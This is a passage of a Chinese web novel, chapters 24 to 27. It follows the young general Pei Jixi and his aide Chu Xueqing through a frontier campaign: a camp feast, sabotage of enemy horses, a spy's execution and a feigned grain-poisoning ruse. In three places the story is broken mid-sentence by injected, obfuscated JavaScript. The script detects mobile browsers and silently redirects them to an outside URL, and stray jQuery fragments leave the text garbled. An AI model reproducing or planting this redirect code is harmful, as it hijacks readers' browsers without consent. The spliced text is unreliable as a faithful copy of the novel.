裴霁曦见她面露委屈,便轻声安慰她:“自然是有用的。你那分门别类的训兵计划,虽然粗糙,却别开生面。你观察又细致入微,能短时间看出哪些苗子适合培养。我看,你有当军师的潜质。” 初雪晴未料到裴霁曦如此不吝夸赞,趁势道:“那世子为何要把我逐出军营,世子不是说,在定远军,女子是有出路的吗?” 裴霁曦微怔片刻,才道:“并非逐你出军营,只是担忧你的安危。” “那将来送我入明履营中,不也一样会面临危险吗,何不让我先跟着世子学些本事,将来更好应对呢?” 裴霁曦沉默片刻,并未作答。稍倾,唤了墨语进来,吩咐他彻查今日离队之人。 24. 第 24 章 虽说裴霁曦并未明确答复初雪晴,但也的确没再提过送她出营之事。 刺客在被囚后趁人不备,拿吃饭的勺子自戕而亡。但裴霁曦并没有大张旗鼓找细作,初雪晴自告奋勇跟着墨语暗中调查。 邺清的雪时不时便要来上一场,地面的积雪还未来及化完,便又会迎来迎来下一次铺陈。好在每次的雪都不大,到不了雪灾的程度,即使如此,裴霁曦还是令人多运了些粮食,以免大雪封了粮道。 转眼到了过年的日子,训练时间紧张,因此也并未让大家回家,只是多备了些酒肉。 好歹是过年,因此也让新兵们休了半日,帮着布置营地,简单挂了些灯笼,贴了春联,就当是在自家过年了。 到了夜晚,营地灯火通明,红色的灯笼如撒在地上的点点红星,在满目白雪的映衬下格外明亮,趁出了几许年味。 校场上燃起了好些簇篝火,火上架着新宰的牛羊肉,“滋滋”冒油,大家纷纷围在篝火旁。新兵们难得放肆地大声谈笑,仿佛越热闹,那点子乡愁就冒不了头。 裴霁曦今日未在帐内用饭,和新兵们一起,在露天的篝火旁,就着火辣的烈酒吃烤肉。 初雪晴在他身旁忙来忙去,一会去拿烤肉,一会又帮着裴霁曦切开,还得惦记着他杯中的酒,及时添酒。 裴霁曦见她忙碌,便道:“你且休息休息,今日没有主仆,不用伺候我。”说着,放下酒杯,直接拿了一小坛酒,对着坛子喝了几口,“这样就不用你斟酒了。” 旁边的严奇胜见了,大声笑道:“小侄儿,你这样才对,用劳什子酒杯,咱们军人,就得拿坛子喝!”说着,又拽了一坛子酒,放到初雪晴身旁,“小兄弟,喝!” 初雪晴笑了笑,世子是侄儿,她是兄弟,严将军也太有意思了。她未扭捏,接过酒坛,学着他们的样子,猛灌了一口,随着辛辣入喉,这股子辣劲也冲上了鼻尖,没忍住呛到了,她一边咳,一边没忍住笑了。 裴霁曦笑道:“慢着点,这是邺州最烈的酒,烈雪,最是辛辣,你又没喝过,别逞强。” 本来初雪晴只是不想拂了大家的兴对付一口,可听到裴霁曦这么说,又不甘心被他小瞧,生怕他觉得自己不适合当兵,就又忍着辛辣灌了几口,喝下去,还佯装无事道:“这酒好喝得很,名字也好听,大过年的,世子可别舍不得给我喝。” 裴霁曦无奈摇了摇头,的确,冬雪喝烈雪,倒是相配。 严奇胜大赞:“小兄弟好酒量!”转身又拿了几坛酒,把大家的酒杯都撤了,换成了坛子。 方若渊拽着自己的酒杯没让严奇胜拿走,忙道:“严将军,每个人有每个人的品法,我还是用这小酒杯舒坦。” 严奇胜道:“你这小子,连裴小将军都拿坛子了,你还装劳什子儒将,赶紧给老子换了。今儿舒坦,好酒好肉,就差点美人了!” 方若渊护着自己的杯子,“还要美人,小心我找姑姑告状!” 严奇胜装作没听见方若渊的话,举着酒坛子大声喊着:“你说啥?酒喝多了耳朵不好使了,来,接着喝!” 初雪晴还诧异着,身旁裴霁曦小声对她解释道:“方若渊的姑姑是明履营的方淼将军,也是严奇胜的夫人。” 陆续有新兵来他们这处敬酒,裴霁曦来者不拒,虽未多言语,但大家看他如此痛快畅饮,也都撒欢般放开了来敬酒,墨语本想帮着裴霁曦挡酒,自己反而被灌了几坛酒。裴霁曦来者不拒,初雪晴跟着也喝了不少。 冬夜的寒冷,在篝火和红灯笼的照耀下,在烈酒的辛辣和人们的笑语中,也遁逃无形,余下烈酒入喉的温暖。 初雪晴第一次喝酒,几坛下肚,通身的暖意让她面色也红润了起来,只是身上有些发木,动作跟不上脑子,舌头也麻麻的,裴霁曦在旁边问了她什么,她没听清,就想问他说的是什么。 可初雪晴舌头是木的,自己说出的话,连她自己都听不懂, 裴霁曦见状,和众人打了声招呼,便扶着初雪晴回帐。 初雪晴的腿脚也跟不上,走了一段路,裴霁曦觉得麻烦,索性把人横抱起来。 到了初雪晴的帐子,他刚把初雪晴放到床上,正欲离开,却被初雪晴拽住了袖子。 醉酒的初雪晴嘴里喃喃说着什么,裴霁曦凑近她努力辨认,只听到零星一些话语:“世子……好人……谢谢……我努力……做将军……” 裴霁曦勾起了唇角,小丫鬟野心不小。 * 三月训练之期很快过去,望北关守备森严,北狄一直无法突破,定远侯得到消息,北狄欲派一分支转攻石喙岭,令裴霁曦带领两万新兵驰援石喙岭。 本是初春时节,可石喙岭处于阴山山脉高处,仍有积雪未化,点点白色隐匿在绿色松林之中,凄冷中带着一丝希冀。 裴霁曦骑马在山岭之上远眺群山,心中思量着敌军的进攻路线。 初雪晴也骑一马跟在他身后,冷风吹过,带着离战争越来越近的肃杀之气,让她不禁拢了拢衣衫。 裴霁曦回头看她,温声道:“让你不要跟着来石喙岭,留在邺清,待明履营招新之时,自有你的用武之地。” 初雪晴忙道:“跟着世子先行体验实战,总好过在邺清闭门造车呀。”语气中是自己都没察觉的熟稔。 裴霁曦转而问道:“那就你看,这次实战,要用什么战术?” 初雪晴思索片刻,答:“北狄士兵善骑,马匹精壮且充足,这是我们比不上的,不过他们久攻望北关不下,转而走地势陡峭的石喙岭,本就对他们不利,我们只需要守好关口,借地势用石攻。” “中规中矩。”裴霁曦道,“上兵伐谋,其次伐交,其次伐兵,其下攻城①。教你的兵书,都懂了吗?” 没等初雪晴回答,裴霁曦又补充道:“不是你懂了吗,是我讲清楚了吗?” 初雪晴笑道:“世子教得很好,是我愚笨,未理解其精髓。” “你并不愚笨,只是不喜用心计。”裴霁曦望着群山,仿佛透过群山看到了进攻的北狄士兵,目光中闪现了一丝冰冷,“既然北狄善骑,我们就从他们的坐骑入手。” “世子,咱们营中,还有细作未除。”初雪晴提醒道。 “无妨,留着自有用处,你不是已经猜到谁是细作了?” 初雪晴惊诧看向裴霁曦:“莫非世子也猜出来了?” 裴霁曦看向她,眼神慢慢变得温和,“你的札记上密密麻麻写了那么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13730250|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多,我也不难猜到。” “我札记写的凌乱,世子竟能看懂。”初雪晴赧然一笑,“只是设想,还未最终确认,所以也未向世子汇报。” “你的字,比之前进步不少,看自然是能看懂,就是你那错综复杂的图,理解起来颇费一番功夫。”裴霁曦想到她札记上又是圈又是连线的,鲜少见人这般思考,不过看懂了也觉得别具新意。 “只是一些帮助思考的工具,通过树状或鱼骨般的形状,把可能想到的因素都写进去,帮助自己厘清思路,世子下次想问题不妨试试,很好用。” 裴霁曦微笑点头,牵住缰绳,打马转身,“跟上,今晚好好待在营帐,明日让你看看实战。” * 是夜,繁星闪烁,掩住了月的光辉,营地格外安静,仅有山间冷肃的风啸声穿过营帐之间。 裴霁曦身着玄衣,和夜色融为一体,此行带上了十来人,悄声离开营帐。 骑马奔行一路,待快到敌营时,他们把马留在林中,继续向前。 敌营中火把通明,间或有巡逻的小队士兵持刀走过。 裴霁曦观察了良久,找出了巡逻的规律,趁着北狄士兵巡逻的空挡,趁着夜色带领大家潜入敌营。 他们悄无声息地走到马厩处,马厩旁是临时搭建的存放马粮的地方,马粮上覆着厚厚的油毡布,耸成一座小山般的形状。 他们分头行动,在马粮中撒上特质的药水,这些药水无色无味,但足以让北狄的马匹泄上三天三夜。 做完事,也不拖泥带水,迅速撤回打马回营。 回到营中,夜空竟然飘起了小雪,初春时节的石喙岭,因着地势较高,足足比阴山脚下冷了半个季节。 裴霁曦又吩咐了墨语几件事,便折身回到自己营帐之中。 见到在窄几后不知写什么的初雪晴,嘴角不知不觉浮上一抹笑容。 初雪晴见他回来,忙停笔上前,见到他身上浮着的一层雪绒,忙帮他脱下氅衣,道:“世子可还顺利?” “明日进攻,你且留在营中等着好消息。” 初雪晴把氅衣挂在衣架上,笑道:“祝世子旗开得胜。” 她又折身拿起桌上一张纸,纸上写着人名,递给裴霁曦,“关于细作之事,此人嫌疑最大,但我总觉得,细作应至少两人,世子可有安排?” 裴霁曦接过来,看了一眼,就着桌上烛火烧了手中的纸,道:“这细作是送给我们的,先处理一个,另一个很快就会露出马脚。” 初雪晴应是,犹豫后又低声问道:“世子,那些马匹,是不是吃了这些药就都死了?” 裴霁曦怔了一怔,片刻道:“那是敌军的马。” “可……那也是上千条性命。”初雪晴默默垂头,声音越来越低。 裴霁曦沉默半晌,道:“那些药不致命,明日若得胜,北狄必会撤退,届时这些马匹他们带不走,自然就是我们的了,稍加调教,日后可用。” 初雪晴眸中担忧这才散去,“世子仁厚,今夜您早些休息,明日等您得胜归来。” 待初雪晴退出营帐,裴霁曦眉头渐渐紧锁,这丫头这般善心,连马匹的性命都要担忧,真不知给她选的这条路是对是错。 25. 第 25 章 第二日天还未亮,裴霁曦率军向敌营出发。 出发之前,让人悄声绑了细作郑大勇,郑大勇之前争旗时,在祁允的队伍里,祁允获胜,但郑大勇却落了队,之后刺客自戕的勺子,也是郑大勇暗中提供的。 但只绑了一个细作,另一个,却随军出发了。此时不揪出,裴霁曦自有用处。 大军保持雁型阵出发,空旷山间只闻铁蹄铮铮,和着风声节奏分明,初雪晴望着大军远去的痕迹,胸中心跳久久不能平歇。 虽不得见真正的战场,但是从士兵肃穆的表情,视死如归的眼神中,让她第一次感受到战争的气息。 那是用人命堆叠起来的胜败之争。 早春微寒,可她在帐内坐不住,便在营中来回踱步,心中担忧尤甚。 从晨光熹微,到暖阳高照,又到金乌西坠,仍不见大军得返。 直到入夜不久,才见一批士兵回营,可回来的,除了护送的,竟都是伤兵。 初雪晴忙帮着抬伤员,伤兵身上都血淋淋的,有的伤到了头,满脸淌血,甚是可怖;有的被砍掉了胳膊,断臂就放在身旁,不知还能否接回去;有的腹部汩汩流血,生死未卜…… 她以为此战已败,迟迟不见裴霁曦回营,便抓着旁边的小兵问:“裴小将军呢?” 小兵答道:“此战大捷,我们先将伤兵送回来,将军随后回营。” “大捷?”初雪晴诧异道,“大捷为何伤了如此多人?” “这是打仗,当然会有伤患呀!没死人就不错了!” 初雪晴沉默不语,手上动作未停,仍旧帮着军医处理伤患,手上衣服上沾上了血,却不像初见那般有些惧意,心中越来越麻木。 大捷,没有牺牲,已是万幸。 可这是否就意味着,敌营的北狄人,死伤不计其数呢? 初雪晴此时的家国意识尚没有那么强烈,不论大宁还是北狄,皆是活生生的人命,每条人命背后,都牵扯着一个家庭,她不忍看见那么多人因战争失去活着的机会。 不离战场这么近,是不会感受到那种充斥着血腥味的厮杀的。 * 在伤患处理得差不多时,听见外面喊道:“大军回营了!” 初雪晴忙撩起帘子跑出伤患的营帐,只见月色和火把照耀之下,人群中最显眼的那个少年,手持长枪,铠甲裹身,一身英气带着些许风尘仆仆的打磨,英俊的面庞虽然年轻,却带着经历生死的沉静,只嘴角微扬的弧度看出了他此刻的心情。 太多人围在他身边,初雪晴只能远远望着,直到此时此刻,躁动的心才略为平静了些。 裴霁曦看到初雪晴,穿过众人,迈着大步,走到了她身旁。 看到她身上的血迹,便知她应该是去照料伤患了,裴霁曦问:“伤兵怎么样?” “已经初步处理过了,还有一些伤重的,军医正在救治。” 裴霁曦点头,又状似无意般问道:“没让你失望吧?” 初雪晴道:“恭喜世子大获全胜。” “可我看你怎么没那么兴奋?” 周围不断传来士兵的笑闹声,还有人畅快到大吼几声“胜了”,初雪晴才意识到,和周围人的反应比起来,自己太不正常了,忙露出笑容:“怎会,我只是刚看见那么多伤兵,有些担忧他们的伤情。” 裴霁曦轻轻拍了拍她的肩膀:“不必担忧,此番虽略有损伤,但大胜敌军,又白得了上千良驹,北狄死伤过半,剩下的也都弃营而逃。” 初雪晴压下心中莫名的情绪,笑道:“世子妙计,果真是上兵伐谋。” 裴霁曦转而又道:“今夜处理了郑大勇。” 初雪晴略作思量,大军得胜,此时揪出一个细作处理,既能安稳军心,对另一个又是个不小的敲打。 初雪晴找到墨语让他把细作带出来,不多时,便见郑大勇便被绑着到了校场演武台之上。 裴霁曦走到台上,身上铠甲还带着点点猩红,眉角额间尽显肃杀之气,火光映衬之下,那眸光中的森冷有些骇人。他对着台下众人道:“定远军的儿郎们,北狄侵我土地,啖我血肉,我们拼着性命,为的是身后这片土地的安宁,为的是家乡亲人们的平静,今日我军取得大胜,可这胜利来之不易,险些被居心叵测的人破坏。” 他转向身旁被缚住手脚,跪在地上的郑大勇,高声道:“此人,是北狄的细作,若不是早有防范,我们的计划就要被他窃了去。但无论北狄用何手段,都无法攻下我们战无不胜的定远军。今日就用这细作的命,来祭奠我们过往牺牲在北狄战场上的战友。” 台下众将士高喊着:“杀!杀!杀!”喊声回荡在军营夜空之上,响彻云霄。 裴霁曦挥挥手,手下士兵便手起刀落,顷刻间郑大勇人头落地,演武台一角被红色浸染,那头颅上的眼睛却未闭上,直直看着前方。 初雪晴第一次见到如此血腥的场面,耳边是初春的寒风啸声,伴着将士们的呼和,惧意让她手脚发凉,可眼睛却闭不上,和那头颅上的双眼似是对上了目光。 郑大勇平常肆无忌惮的笑容似乎在眼前浮现,他是众多新兵中的一个,带着普通少年人的轻狂,当初雪晴查出细作的名字时,只是微微惊讶。可如今直到他殒命在此,她才忽然意识到,这是两个完全敌对的国家,你死或我亡,顷刻间消失的生命,后面是看不见的波涛汹涌。 这只是大军得胜的插曲,并无人在意一个细作的死活。 少年将军收敛眸中寒意,看着他的士兵,又说了些鼓舞人心的话,可初雪晴却仿似听不到了,眸光涣散,似乎是看着地上的头颅,又似是什么都没看。 裴霁曦令人去备好酒好肉,犒赏辛劳一天的大军。 众人慢慢散去,该休整的休整,该备饭的备饭。 裴霁曦这才留意到被吓到的初雪晴,他走到初雪晴身边,温声道:“吓到了?” 初雪晴慢慢回神,有些恍惚地喃喃道:“原来‘处理’是这个意思……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733471|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 裴霁曦皱皱眉头,折身面对着她,遮住她望向那头颅的眼神,道:“一个细作而已,你以后要面对更多的死亡,要慢慢适应。” 初雪晴似是听懂了,默默点了点头。 * 石喙岭大捷之后,裴霁曦提拔了不少人,包括在大战中表现出色的祁允和何生,虽未正式请封,可日常商议大事,都叫上此二人。 北狄经此一战,元气大伤。本来北狄得到消息,定远军大部守在望北关,这才转战石喙岭。可未料定远侯之子如此狡诈,让他们损失惨重。 直至半月之后,北狄又卷土重来,毕竟从线报上看,石喙岭守军人数上还是比望北关少许多,攻打石喙岭还是北狄的重心。 石喙岭中军大营之中,裴霁曦、方若渊、严奇胜、墨语、祁允、何生以及石喙岭常驻守将卢桀正在商议作战部署,初雪晴在旁侍候。 “北狄此番重新做了补给,想必防范更甚,旧路约莫是行不通了。”方若渊担忧道,他的性子一向小心谨慎,即使有先前成功经验,也觉心中没底。 严奇胜就不似方若渊这般谨慎,凡事到他那里,向来“冲”字了事。他重重拍了下桌案,“他老子的,北狄不管有多少兵马,也翻不过石喙岭去。” “石喙岭地势陡峭,本就不利于北狄行军,我们可借地势之便,顺势而守。”卢桀驻军石喙岭多年,对石喙岭地势了然于心。 祁允闻言皱眉道:“可一味等待北狄进攻,太过被动了。” 何生也是新进被提拔,期望有所表现,便附和了祁允的意见。 墨语并未发表意见,只等着裴霁曦的指示。 裴霁曦见诸将意见不统一,心中已有成算,这才开口道:“虽说北狄此番会更加小心,但我亦有助力,旧法针对马匹已然成功,此次我们可以转而针对人。” “对人?要对他们的军粮动手吗?”何生诧异问。 裴霁曦点点头,“石喙岭地势不利北狄进攻,他们也会做好持久战的准备,因而军粮也是他们的重要保障,只要军粮得毁,他们不攻自败。” 方若渊仍旧有些担忧,“可敌方已经吃过一次亏,我们想动军粮,颇有难度啊!” 裴霁曦淡笑道:“放心,不止北狄有细作,我已安排好,敌营中也有我们的人。” 墨语主动道:“上次行动我去了,也摸清了北狄营帐的布局,这次还是派我去吧!” 严奇胜闻言激动道:“上次裴小将军去敌营偷袭,就没带上老子,这次让老子去打头阵,把北狄小儿的粮食都烧他个干净!” 祁允也道:“不一定要烧,上次投喂泻药,是为了抢回马匹,这次可直接投些毒药,反正北狄士兵我们是不要的。” 何生忙道:“要去投毒,我也可以去。” 方若渊却沉思不语,似乎是想到什么,却总觉得想不透彻。 可这件事终究还是这么定了,裴霁曦指定墨语带人去行动,严奇胜虽跃跃欲试,但也听从了军令。 26. 第 26 章 待诸将出帐后,裴霁曦看向一旁静默的初雪晴,问道:“可琢磨出什么了?” “世子心中自有妙计,只待鱼儿上钩了。”初雪晴答道。 裴霁曦看这她那张平静的面孔,不自觉和她初入营时那张鲜活面庞对比,叹道:“自上次大捷之后,你似乎,没那么积极了。” 初雪晴垂眸片刻,低声答道:“我只是不知道,自己做的事情背后,是多少条人命。” 裴霁曦见她如此低落,拿出了一副棋盘,放到矮几上,示意她坐到对面:“你我来手谈一局。” 裴霁曦教过她下棋,她在此道上也颇有天赋,学了没多久,就可以和裴霁曦勉强对弈了。 只是裴霁曦下棋更有大局观,如同在给战场布局,每一步棋安排得都恰如其分。初雪晴初入棋道,棋风稳健而灵动,但难免经验不足,出现失误,迄今为止还没赢过。 初雪晴有些心神不宁,随意走了几步,很快出现破绽。 裴霁曦也不留情面,连续攻破她的防守,步步紧逼,看到初雪晴愈加沮丧,便对她道:“你自小就和家人失散,又经历饥荒辗转流亡,可能对家和国没有太深的理解,只是看到战争后面的人命。可你不杀敌,敌就会杀你,甚至杀你的家人亲朋。” 初雪晴半晌看着眼前狼藉的棋局,半晌才喃喃道:“我明白的。” “你不明白。”裴霁曦严肃道,“你的善心,用在任何地方都可以,但不能用在战场之上。否则,招致的不仅是自身的危险,任何一个小兵的踯躅,都可能是战场的成败之关键,何况你……不是想做将军么。” 初雪晴诧异抬眸,不知自己是何时泄露了内心那点妄想,“我……远远不够格。” “那你是想到了年纪,出府嫁人,相夫教子,安度一生吗?” “不。”初雪晴摇头,即使她仍对出路有所迷茫,但这条出路仍就不在她的选项之中,“我即使做不得燎原之火,也不会借别人的光被照亮。” 裴霁曦已对她不容于世的想法见怪不怪,看她仍没有忘记自己的初衷,有所欣慰道:“你从来不需被照亮,你自己就能点燃。” 言罢,他边整理棋子,边道:“你还小,机会还很多,再来一局。” 初雪晴看着黑白棋子一个个归位,低声道:“谢谢世子一直给我机会。” “你也救过我,我做这些,都是应当的。何况,留你在身边,也助我良多。” 初雪晴默默摇头,她做的,明明微不足道。 * 翌日,裴霁曦又把众将叫到一起,只简单对众将说墨语已带人成功投毒,此次因是直接投毒,便不用再组织攻击,只等北狄自行消耗后,再去收拾残局。 严奇胜闻言,心中大喜过望,道:“世侄这事办得漂亮!”话语出口,才意识到竟在军中用了私下称呼,忙改口,“裴小将军,那句话咋说来着,对,颇有乃父风范!哈哈!” 方若渊有些诧异,觉得此事太过顺利,但见裴霁曦如此笃定,便附和道:“如此倒省力了,那我们何时去收拾残局?” 裴霁曦只淡淡道:“不急,今日大家休整一日,今晨刚下过药,营中灶房一般会备好当日的饭食,待他们用上粮仓的军粮,也得到明日了。” 何生顺口问道:“那万一他们今日发现了异常,不用粮仓的军粮了该如何?” 裴霁曦瞥他一眼,淡笑道:“不会,此番让人寻的药,无色无味,况且此事做的隐蔽,不会有人发现。” 卢桀起身,抱拳道:“既如此,我等这就去安排明日之事。” 裴霁曦点头道:“去吧,今日倒也不必过分紧张,此事已万无一失。” 裴霁曦随着众将退出的脚步,掀开帐帘,挥挥手示意初雪晴跟上。 远处山间风光像是自上而下展示着季节的变化,白色点缀山尖,绿色抹匀山腰,似是寒冬遥不可及,而暖春已乍然来到。 春日阳光正好,冬日积久的寒气已褪去大半,只余微风中一丝清凉,轻轻拂在面上,恍似母亲的轻触般柔软。 “今日风光正好,带你跑跑马。”裴霁曦的声音里,带着春风般的暖意。 “可明日如此重要,世子不需要提前部署吗?”初雪晴还是隐隐担忧着。 裴霁曦看着身旁亦步亦趋的小女孩,唇角现出一抹不易察觉的笑意,“总要留时间给别人办事。” 初雪晴似懂非懂地点点头。 她如今已经可以熟练地驾驭性子温顺些的马,她从马厩牵出自己惯常骑的黑马,翻身上马,跟上裴霁曦驰骋的身影。 裴霁曦带她出了营地,顺着山路,穿过抹着春绿的山间,到高处俯瞰。 他二人回望营地,只见一队骑兵出了营,看似是要在山间练兵,裴霁曦笑了笑:“鱼儿上钩了。” 初雪晴似是懂了,裴霁曦这是故意给细作放出消息的机会,然而这消息,恰是裴霁曦给敌军造成的假象。 “世子,既然这细作帮我们这么多,那是不是也能帮我们往敌营放一个细作呢?” 裴霁曦抬眸看向她,初雪晴继续道:“如果我们在敌营也有一个细作,北狄想必要费一番头脑排查了。” 裴霁曦目露赞赏,小丫头也开始懂用计了,“好,就依你所言。” * 当日夜晚,裴霁曦正在营帐中与众将商议第二天的部署时,斥候传来消息,敌营粮仓走水了,熊熊烈火将粮仓烧了个一干二净。 严奇胜闻言最先发声:“裴小将军,咋瞒着我们把事情给办了呢?不是说好下毒么,又改火烧了?” 裴霁曦摇摇头,看着面前的舆图,手指点了点敌军粮仓的位置,“这场火,不是我派人烧的。想必是敌军发现粮仓被做了手脚,这才放弃了粮仓里的粮食。敌军扎营之地距北狄大本营要两日的路程,想必他们无法快速补给,应会迅速撤军。” 初雪晴看着裴霁曦失望的神色,瞬间领会了他的意图。裴霁曦并未派人下毒,只是说给细作听的,这细作果真掉进了裴霁曦的圈套,告知了北狄下毒的事情。可北狄竟一把火烧了自己的粮仓,想必也是怕有圈套,怕万一军粮没毒反而把粮食留给了大宁。 听闻此次是北狄公主亲自监军,这般玉石俱焚,想必她是个疑心重但也颇有魄力的人。 裴霁曦失望的神色,只是因为这军粮没能到手。但这神色看在在场众将眼中,就是下毒消息被泄露,没能毒死敌军,令裴小将军失望了。 方若渊谨慎道:“这下毒的消息,只有我们在座几人知道,敌军怎么会发现异常呢?”说着,还环视四周,扫过周边几人,在座都是军中良将,可祁允和何生却是新进破格提拔上来的,他视线在二人身上逡巡片刻,又定睛到了初雪晴身上。 “冬学是什么时候跟的裴小将军呢?”方若渊悠悠发问。 还未等初雪晴回答,裴霁曦就严肃道:“不要自乱阵脚,可能是我安插在北狄的细作露出了马脚。” 严奇胜佩服道:“北狄也有咱们的细作? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738015|143224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴小将军可真是厉害!” 方若渊又回看何生与祁允,打量着他二人。 何生看懂方若渊的怀疑,镇定道:“我今日并未出营,一直在营中。” 祁允也道:“虽然我今日出营了,但也只是在附近山中训兵,想要他们及早熟悉山间地势,我手下士兵均可作证。” “够了。”裴霁曦打断他们的解释,“大敌当前,我们的精力应放在对手身上,不要互相猜疑。” 言罢便解散众人,毕竟敌军紧急撤退,他们再追也无意义。 待众人出帐,裴霁曦写了封信,用竹筒密封好,着人快马送到望北关定远侯手中。 忙完这些,他方才露出一丝笑容,折身面向身旁侍候的初雪晴,“这次的计谋,你是什么时候看出来的?” 初雪晴拿起桌上茶壶,为裴霁曦倒了一盏茶,递过去道:“世子用计高明,在您留下一个细作时,我便猜测您有此意图。直到您要故技重施,对敌营军粮动手,我觉得此计并非上策,但世子怎会用下策呢,必然是有其他计谋。” 裴霁曦接过茶盏,一口饮尽,唇边含笑,“冬雪也越来越聪明了,但仅会用计,距离做将军还差得远。” 言罢他缓缓放下茶盏,突然伸手对初雪晴攻击,伸手一推,再用脚一勾,初雪晴顺势倒下,裴霁曦没料到她如此不堪一击,忙用手垫住她的头。 可她还是结结实实摔了一跤,幸好裴霁曦护住了她的头,她忍住身上酸疼,慢慢起身,带着抱怨的口气道,“世子知道我的水平,何必这般试我。” 裴霁曦见她自己起身,也就收回了要扶她的手,正想道歉,一转念又道:“你自己水平差,还要埋怨我试你?” 初雪晴愣怔片刻,才意识到自己的逾矩,“是我惫懒了,疏于练武。” 裴霁曦见她语气低落,又觉不该这般打击她,低头摆弄沙盘,状似不经意道:“是我要求高了,毕竟你还没有真正跟着士兵操练过。放心,就算武力不行,也可努力做个军师。” 初雪晴闻言,近几日茫然的思绪仿佛见得了一丝清明,她不敢正视战场的淋漓鲜血,那何不在后方运筹帷幄呢? 她抬头看向裴霁曦,裴霁曦唇角那抹不宜察觉的笑容,带着些许暖意。他身上铠甲在烛光照耀下熠熠生辉,掩去了金属冰冷的杀伐之感,面上英挺的线条带着不符合年纪的沉稳,俊朗的五官和身上的铠甲莫名地契合。 那是世家公子的不凡气度,与少年将军的杀伐果断,完美融合在了一起。 不知是从何时起,他二人相处时,已然找不到初见时的清冷面具,她时时刻刻感受到的,便是唇角带笑的暖意。 若是跟着这样的将军做军师,那军营的枯燥无味和战场的刀光剑影,似乎也不是件难以忍受的事情。 初雪晴一时沉浸在自己的情绪中,忘记挪开粘在裴霁曦身上的目光。 裴霁曦见她不语,抬眸看她,不期然撞进那清泉似的目光之中,仿佛把远山的春意都盛了进去,他愣了愣,错开目光,也未做言语,径直往外走。 这丫头的目光,难道是…… 她最近总是莫名其妙,打了胜仗该高兴时也不兴奋,常常躲在角落发呆,莫非到了年纪少女怀春? 可她不是不想嫁人吗? 不想嫁人,难道只是不想出府? 知道他不要通房丫鬟,便要想办法进军营中。 裴霁曦猛然被自己的念头惊住,忙加快步伐,止住自己的胡思乱想。 27. 第 27 章 山间四月的春风也并不和煦,夹杂着些许寒意。 大军的脚步却铿锵有力,合着兵器和铠甲的铮铮声,以及偶尔的战马嘶鸣声,掩盖住了这几不可闻的风声。 定远军踏着整齐的步伐在山间行进,这次他们不是防守,是跟着将军的号令,对离石喙岭最近的北狄大营进攻。 昨夜裴霁曦几经思量,又着人快马传信望北关的定远侯,得到肯允后立即下令整军待发,除了卢桀带部分兵力守营以防万一,其余人马皆出兵北狄大营。 与其等着北狄补充物资卷土重来,不如趁着他们补给未到,加紧进攻。 大宁多年来以守为主,只是在北狄进攻的时候加以戒备,严防死守,可即使多年来寸土未让,但也没能让对中土繁华觊觎已久的北狄死心。 尤其是自觉罗尔穆继位以来,更是频频骚扰。 可连定远侯都从未对北狄发起过进攻,定远侯世子却这般做了,众将在忐忑之余不禁佩服起裴霁曦的胆魄。 连着行军一日,到了傍晚时分,军队抵达阴山脚下驻扎的北狄大营。 北狄方似乎早早得到消息,列阵以待。 阵型最中,两位大将立于马上,其中一人身形略显瘦削,头发被束在盔内,一身盔甲掩饰了性别,但不难看出,她是主将北狄公主乌尤拉。另一人身形壮硕,皮肤黝黑,浓眉高鼻,狭长的眼睛眯起审视着前方的定远军,应该就是副将维力斯。 裴霁曦见对方全军列阵,也并未急着动手,只远远观望。 只见对方前锋阵营向两边散开,北狄副将维力斯骑马前行,待他来到两军之间,对方前锋又复合拢。 维力斯高声喊话:“裴小将军,今日两军人手相当,想必裴小将军偷袭计划必是落空了,不如今日你我二人来场比试,你若赢了,我北狄大军撤军不再攻击石喙岭,你若输了,我们只要你们撤回石喙岭防线内。不管输赢,你都不亏,如何?” 方若渊闻言皱眉,他认为此乃敌方阴谋,若裴霁曦败了自不必言,若裴霁曦赢了,敌军还可换来片刻喘息,说不定还会有援军跟上。 他骑马靠近裴霁曦,低声道:“北狄如此退让,他们定然准备不足,我军既已至此,不如酣畅一战,莫要受他蛊惑。” 身旁的严奇胜轻哼一声:“北狄小儿若是想战,本将军和他们耍耍,区区一个副将想让我军主将出马,还不够格!” 裴霁曦淡淡一哂道:“不战,维力斯会将胆小的名头安到我军身上,对我军士气不利;战,他也只能争取到一线希望。不如,就给他点希望,再让他绝望。” 言罢,裴霁曦令前锋闪出一条道,他策马前行。 方若渊在他身后直摇头,又不好说主将的不是,只在心里默叹,裴霁曦还是太年轻,轻易就被挑起胜负欲,虽然他清楚裴霁曦武艺超群,但也怕对方有诈。他吩咐祁允和何生,带好两小队,随时准备上前保护裴霁曦。 